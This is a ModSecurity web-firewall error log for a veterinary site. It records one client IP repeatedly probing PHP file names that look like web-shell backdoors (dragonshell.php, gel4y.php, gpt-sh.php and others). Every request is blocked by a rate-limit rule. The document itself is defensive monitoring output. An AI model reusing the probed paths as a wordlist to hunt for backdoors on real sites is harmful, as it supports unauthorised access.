[Sun Mar 29 22:32:19.272393 2026] [:error] [pid 32359:tid 32376] [client 52.242.135.164:2562] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dragonshell.php"] [unique_id "ack38wMb8G3UzfQP3Wg0fwAAAM8"]
[Sun Mar 29 22:32:20.532455 2026] [:error] [pid 23167:tid 23191] [client 52.242.135.164:60672] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dragonshell.php"] [unique_id "ack39BIAHJCFaHff3_fK_QAAAdU"]
[Sun Mar 29 22:32:21.222107 2026] [:error] [pid 32257:tid 32337] [client 52.242.135.164:53179] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "ack39SE3TArOFrUtgWpLBAAAAJM"]
[Sun Mar 29 22:32:22.339319 2026] [:error] [pid 23167:tid 23190] [client 52.242.135.164:18076] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "ack39hIAHJCFaHff3_fLCwAAAdQ"]
[Sun Mar 29 22:32:22.792884 2026] [:error] [pid 23284:tid 23302] [client 52.242.135.164:60679] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "ack39ozBujdPHsq7wyS-EQAAApA"]
[Sun Mar 29 22:32:23.489165 2026] [:error] [pid 32257:tid 32322] [client 52.242.135.164:2619] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "ack39yE3TArOFrUtgWpLCQAAAIQ"]
[Sun Mar 29 22:32:24.038625 2026] [:error] [pid 32359:tid 32364] [client 52.242.135.164:60725] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/caiij.php"] [unique_id "ack3-AMb8G3UzfQP3Wg0iAAAAMM"]
[Sun Mar 29 22:32:24.706670 2026] [:error] [pid 23168:tid 23201] [client 52.242.135.164:43027] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/caiij.php"] [unique_id "ack3-GP8p0yRL8ot_2-qmwAAAgQ"]
[Sun Mar 29 22:32:25.133000 2026] [:error] [pid 23284:tid 23297] [client 52.242.135.164:40545] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/caiij.php"] [unique_id "ack3-YzBujdPHsq7wyS-HQAAAos"]
[Sun Mar 29 22:32:25.875206 2026] [:error] [pid 23168:tid 23214] [client 52.242.135.164:40570] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/caiij.php"] [unique_id "ack3-WP8p0yRL8ot_2-qnQAAAhE"]
[Sun Mar 29 22:32:26.459209 2026] [:error] [pid 32255:tid 32294] [client 52.242.135.164:60784] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gel4y.php"] [unique_id "ack3-mnfn-AtRoMbquwAZQAAAEM"]
[Sun Mar 29 22:32:27.327075 2026] [:error] [pid 32257:tid 32331] [client 52.242.135.164:19560] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gel4y.php"] [unique_id "ack3-yE3TArOFrUtgWpLEgAAAI0"]
[Sun Mar 29 22:32:28.008145 2026] [:error] [pid 23284:tid 23289] [client 52.242.135.164:19566] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gel4y.php"] [unique_id "ack3_IzBujdPHsq7wyS-HgAAAoM"]
[Sun Mar 29 22:32:29.044733 2026] [:error] [pid 32359:tid 32375] [client 52.242.135.164:2968] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gel4y.php"] [unique_id "ack3_QMb8G3UzfQP3Wg0jAAAAM4"]
[Sun Mar 29 22:32:30.047715 2026] [:error] [pid 23284:tid 23298] [client 52.242.135.164:16281] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uxijj.php"] [unique_id "ack3_ozBujdPHsq7wyS-IQAAAow"]
[Sun Mar 29 22:32:30.585504 2026] [:error] [pid 23284:tid 23305] [client 52.242.135.164:40544] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uxijj.php"] [unique_id "ack3_ozBujdPHsq7wyS-IwAAApM"]
[Sun Mar 29 22:32:31.567692 2026] [:error] [pid 32257:tid 32331] [client 52.242.135.164:60196] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uxijj.php"] [unique_id "ack3_yE3TArOFrUtgWpLHwAAAI0"]
[Sun Mar 29 22:34:37.510000 2026] [:error] [pid 23250:tid 23253] [client 52.242.135.164:2253] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wta.php"] [unique_id "ack4fZxrpj-dQjy1cvoMtAAAAkE"]
[Sun Mar 29 22:34:38.988066 2026] [:error] [pid 23137:tid 23152] [client 52.242.135.164:50963] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wta.php"] [unique_id "ack4fhaWQa7LdZ_qGFYB8wAAAY0"]
[Sun Mar 29 22:34:39.962279 2026] [:error] [pid 23284:tid 23292] [client 52.242.135.164:34849] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wta.php"] [unique_id "ack4f4zBujdPHsq7wyS_MQAAAoY"]
[Sun Mar 29 22:34:41.427695 2026] [:error] [pid 23284:tid 23298] [client 52.242.135.164:45287] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wta.php"] [unique_id "ack4gYzBujdPHsq7wyS_PQAAAow"]
[Sun Mar 29 22:34:43.836073 2026] [:error] [pid 23167:tid 23192] [client 52.242.135.164:2249] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "ack4gxIAHJCFaHff3_fLwQAAAdY"]
[Sun Mar 29 22:34:46.676656 2026] [:error] [pid 23284:tid 23303] [client 52.242.135.164:35921] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "ack4hozBujdPHsq7wyS_VAAAApE"]
[Sun Mar 29 22:34:48.841172 2026] [:error] [pid 23168:tid 23201] [client 52.242.135.164:2296] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "ack4iGP8p0yRL8ot_2-regAAAgQ"]
[Sun Mar 29 22:34:50.854782 2026] [:error] [pid 23284:tid 23303] [client 52.242.135.164:34836] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "ack4iozBujdPHsq7wyS_YwAAApE"]
[Sun Mar 29 22:34:52.520059 2026] [:error] [pid 23284:tid 23310] [client 52.242.135.164:2667] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "ack4jIzBujdPHsq7wyS_aQAAApg"]
[Sun Mar 29 22:34:54.422461 2026] [:error] [pid 23284:tid 23286] [client 52.242.135.164:2323] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "ack4jozBujdPHsq7wyS_cAAAAoA"]
[Sun Mar 29 22:34:57.730617 2026] [:error] [pid 23284:tid 23303] [client 52.242.135.164:45301] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "ack4kYzBujdPHsq7wyS_kwAAApE"]
[Sun Mar 29 22:35:00.171753 2026] [:error] [pid 23168:tid 23197] [client 52.242.135.164:2288] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "ack4lGP8p0yRL8ot_2-rjQAAAgA"]
[Sun Mar 29 22:35:02.833984 2026] [:error] [pid 23284:tid 23294] [client 52.242.135.164:27579] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/saorix1.php"] [unique_id "ack4lozBujdPHsq7wyS_qgAAAog"]
[Sun Mar 29 22:35:04.377698 2026] [:error] [pid 32257:tid 32328] [client 52.242.135.164:35933] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/saorix1.php"] [unique_id "ack4mCE3TArOFrUtgWpMkAAAAIo"]
[Sun Mar 29 22:35:05.996020 2026] [:error] [pid 23284:tid 23287] [client 52.242.135.164:46247] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/saorix1.php"] [unique_id "ack4mYzBujdPHsq7wyS_wAAAAoE"]
[Sun Mar 29 22:35:08.365189 2026] [:error] [pid 23137:tid 23144] [client 52.242.135.164:50953] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/saorix1.php"] [unique_id "ack4nBaWQa7LdZ_qGFYCAwAAAYU"]
[Sun Mar 29 22:35:09.542620 2026] [:error] [pid 32257:tid 32329] [client 52.242.135.164:64356] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ack4nSE3TArOFrUtgWpMlAAAAIs"]
[Sun Mar 29 22:35:11.062422 2026] [:error] [pid 23250:tid 23272] [client 52.242.135.164:64365] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ack4n5xrpj-dQjy1cvoMxQAAAlQ"]
[Sun Mar 29 22:35:13.037910 2026] [:error] [pid 32255:tid 32295] [client 52.242.135.164:35964] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ack4oWnfn-AtRoMbquwBrgAAAEQ"]
[Sun Mar 29 22:35:16.284777 2026] [:error] [pid 8818:tid 8834] [client 52.242.135.164:45268] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ack4pCCDvotZNSF0FBrphQAAAUw"]
[Sun Mar 29 22:35:18.634660 2026] [:error] [pid 32257:tid 32323] [client 52.242.135.164:50979] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ack4piE3TArOFrUtgWpMnQAAAIU"]
[Sun Mar 29 22:35:19.952995 2026] [:error] [pid 32359:tid 32371] [client 52.242.135.164:64326] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ack4pwMb8G3UzfQP3Wg02wAAAMo"]
[Sun Mar 29 22:35:21.282606 2026] [:error] [pid 32257:tid 32331] [client 52.242.135.164:20172] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ack4qSE3TArOFrUtgWpMoAAAAI0"]
[Sun Mar 29 22:35:22.856463 2026] [:error] [pid 8818:tid 8841] [client 52.242.135.164:53710] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ack4qiCDvotZNSF0FBrpmgAAAVM"]
[Sun Mar 29 22:35:24.542821 2026] [:error] [pid 23137:tid 23147] [client 52.242.135.164:53746] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ack4rBaWQa7LdZ_qGFYCEwAAAYg"]
[Sun Mar 29 22:35:25.836082 2026] [:error] [pid 23167:tid 23184] [client 52.242.135.164:43671] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ack4rRIAHJCFaHff3_fL0wAAAc4"]
[Sun Mar 29 22:35:26.565192 2026] [:error] [pid 23284:tid 23286] [client 52.242.135.164:34890] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ack4rozBujdPHsq7wyS_1AAAAoA"]
[Sun Mar 29 22:35:27.881048 2026] [:error] [pid 23167:tid 23182] [client 52.242.135.164:34864] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ack4rxIAHJCFaHff3_fL1gAAAcw"]
[Sun Mar 29 22:35:30.314764 2026] [:error] [pid 23137:tid 23139] [client 52.242.135.164:43708] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "ack4shaWQa7LdZ_qGFYCGQAAAYA"]
[Sun Mar 29 22:35:31.903252 2026] [:error] [pid 23284:tid 23304] [client 52.242.135.164:24985] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "ack4s4zBujdPHsq7wyS_8wAAApI"]
[Sun Mar 29 22:37:38.705570 2026] [:error] [pid 23284:tid 23303] [client 52.242.135.164:19510] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ack5MozBujdPHsq7wyTBBgAAApE"]
[Sun Mar 29 22:37:39.259433 2026] [:error] [pid 32257:tid 32327] [client 52.242.135.164:45814] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ack5MyE3TArOFrUtgWpNtwAAAIk"]
[Sun Mar 29 22:37:40.594653 2026] [:error] [pid 32257:tid 32330] [client 52.242.135.164:63921] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ack5NCE3TArOFrUtgWpNwAAAAIw"]
[Sun Mar 29 22:37:41.371788 2026] [:error] [pid 32255:tid 32304] [client 52.242.135.164:46648] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ack5NWnfn-AtRoMbquwCRgAAAE0"]
[Sun Mar 29 22:37:42.434651 2026] [:error] [pid 32359:tid 32379] [client 52.242.135.164:65209] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "ack5NgMb8G3UzfQP3Wg1GQAAANI"]
[Sun Mar 29 22:37:43.445736 2026] [:error] [pid 32255:tid 32315] [client 52.242.135.164:60752] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "ack5N2nfn-AtRoMbquwCTQAAAFg"]
[Sun Mar 29 22:37:44.534272 2026] [:error] [pid 32359:tid 32380] [client 52.242.135.164:45810] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "ack5OAMb8G3UzfQP3Wg1GgAAANM"]
[Sun Mar 29 22:37:45.357338 2026] [:error] [pid 32257:tid 32338] [client 52.242.135.164:45762] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "ack5OSE3TArOFrUtgWpN1AAAAJQ"]
[Sun Mar 29 22:37:46.508681 2026] [:error] [pid 32359:tid 32370] [client 52.242.135.164:38919] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ticket.php"] [unique_id "ack5OgMb8G3UzfQP3Wg1HQAAAMk"]
